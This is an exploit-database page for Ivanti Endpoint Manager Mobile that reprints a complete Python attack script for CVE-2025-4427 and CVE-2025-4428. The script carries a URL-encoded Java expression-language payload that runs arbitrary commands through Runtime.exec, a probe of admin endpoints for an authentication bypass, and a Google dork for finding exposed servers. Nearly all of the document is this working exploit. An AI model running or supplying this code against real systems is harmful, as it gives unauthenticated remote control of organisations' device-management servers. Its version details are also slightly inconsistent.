PACKETSTORM 8.8 HIGH

📄 Ivanti Endpoint Manager Mobile 12.5.0.0 Authentication Bypass_PACKETSTORM:208848

8.8 / 10
HIGH
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Description

Ivanti................................................
Visit Original Source

Basic Information

ID PACKETSTORM:208848
Published Aug 26, 2025 at 00:00

Affected Product

Affected Versions #!/usr/bin/env python3

# Exploit Title: Ivanti Endpoint Manager Mobile 12.5.0.0 - Authentication Bypass
# Google Dork: inurl:/mifs "Ivanti" OR "EPM" OR "Endpoint Manager"
# Date: 2025-01-21
# Exploit Author: [Your Name] (https://github.com/[your-username])
# Vendor Homepage: https://www.ivanti.com/
# Software Link: https://www.ivanti.com/products/endpoint-manager
# Version: < 2025.1
# Tested on: Ubuntu 22.04 LTS, Python 3.10
# CVE: CVE-2025-4427, CVE-2025-4428

# Description:
# Ivanti Endpoint Manager (EPM) before version 2025.1 contains critical vulnerabilities:
# 1. CVE-2025-4427: Expression Language Injection in featureusage API endpoint allowing RCE
# 2. CVE-2025-4428: Authentication bypass on administrative endpoints
# The vulnerabilities can be chained to achieve unauthenticated remote code execution.

# Requirements:
# - Python 3.x
# - requests >= 2.25.1
# - urllib3

# Usage:
# python3 CVE-2025-4427.py -t https://target-ivanti-epm.com
# python3 CVE-2025-4427.py -t https://target-ivanti-epm.com --exploit -c "whoami"

import requests
import urllib3
import argparse
from urllib.parse import urljoin

urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

class IvantiExploit:
def __init__(self, target):
self.target = target.rstrip('/') + '/'
self.session = requests.Session()
self.session.verify = False

def detect_cve_2025_4427(self):
"""Quick detection for CVE-2025-4427"""
# Simple math payload for detection
payload = '%24%7b%32%2b%32%7d' # ${2+2}
url = f"{self.target}mifs/rs/api/v2/featureusage?format={payload}"

try:
resp = self.session.get(url, timeout=10)
if resp.status_code == 400 and ('4' in resp.text or 'Process[pid' in resp.text):
return True, "CVE-2025-4427 VULNERABLE - Expression Language Injection"
except:
pass
return False, "CVE-2025-4427 NOT VULNERABLE"

def exploit_rce(self, command='id'):
"""Execute command via CVE-2025-4427"""
# URL encode the command
cmd_hex = command.encode().hex()
cmd_encoded = ''.join(f'%{cmd_hex[i:i+2]}' for i in range(0, len(cmd_hex), 2))

# RCE payload
payload = f'%24%7b%22%22%2e%67%65%74%43%6c%61%73%73%28%29%2e%66%6f%72%4e%61%6d%65%28%27%6a%61%76%61%2e%6c%61%6e%67%2e%52%75%6e%74%69%6d%65%27%29%2e%67%65%74%4d%65%74%68%6f%64%28%27%67%65%74%52%75%6e%74%69%6d%65%27%29%2e%69%6e%76%6f%6b%65%28%6e%75%6c%6c%29%2e%65%78%65%63%28%27{cmd_encoded}%27%29%7d'

url = f"{self.target}mifs/rs/api/v2/featureusage?format={payload}"

try:
resp = self.session.get(url, timeout=15)
if resp.status_code == 400 and 'Process[pid' in resp.text:
return True, f"RCE SUCCESS: {resp.text[:200]}"
except:
pass
return False, "RCE FAILED"

def detect_cve_2025_4428(self):
"""Quick detection for CVE-2025-4428"""
admin_endpoints = ['/mifs/rs/api/v2/admin', '/admin', '/api/admin']

for endpoint in admin_endpoints:
try:
url = urljoin(self.target, endpoint)
resp = self.session.get(url, timeout=10)
if resp.status_code == 200:
return True, f"CVE-2025-4428 VULNERABLE - Auth bypass on {endpoint}"
except:
continue
return False, "CVE-2025-4428 NOT VULNERABLE"

def run_all_tests(self):
"""Run all detection tests"""
print(f"[+] Testing target: {self.target}")

# Test CVE-2025-4427
vuln_4427, msg_4427 = self.detect_cve_2025_4427()
print(f"[{'!' if vuln_4427 else '-'}] {msg_4427}")

# Test CVE-2025-4428
vuln_4428, msg_4428 = self.detect_cve_2025_4428()
print(f"[{'!' if vuln_4428 else '-'}] {msg_4428}")

# If 4427 is vulnerable, try RCE
if vuln_4427:
print("[+] Attempting RCE...")
rce_success, rce_msg = self.exploit_rce('whoami')
print(f"[{'!' if rce_success else '-'}] {rce_msg}")

return vuln_4427 or vuln_4428

def main():
banner = """
--[[
.___ __ .__ _____________________ _____ _____
| |__ _______ _____/ |_|__| \_ _____/\______ \/ \ / \
| \ \/ /\__ \ / \ __\ | | __)_ | ___/ \ / \ / \ / \
| |\ / / __ \| | \ | | | | \ | | / Y \/ Y \
|___| \_/ (____ /___| /__| |__| /_______ / |____| \____|__ /\____|__ /
\/ \/ \/ \/ \/
--]]
"""
print(banner)

parser = argparse.ArgumentParser()
parser.add_argument('-t', '--target', required=True, help='Target URL (e.g., https://target.com)')
parser.add_argument('-c', '--command', default='id', help='Command to execute (default: id)')
parser.add_argument('--exploit', action='store_true', help='Attempt exploitation')

args = parser.parse_args()

exploit = IvantiExploit(args.target)

if args.exploit:
print(f"[+] Exploiting with command: {args.command}")
success, result = exploit.exploit_rce(args.command)
print(f"[{'!' if success else '-'}] {result}")
else:
exploit.run_all_tests()

if __name__ == "__main__":
main()

💭 Join the Security Discussion

🔒 Your email address will not be published. Required fields are marked *

⚠️ Please be respectful and constructive in your comments. Security discussions should remain professional.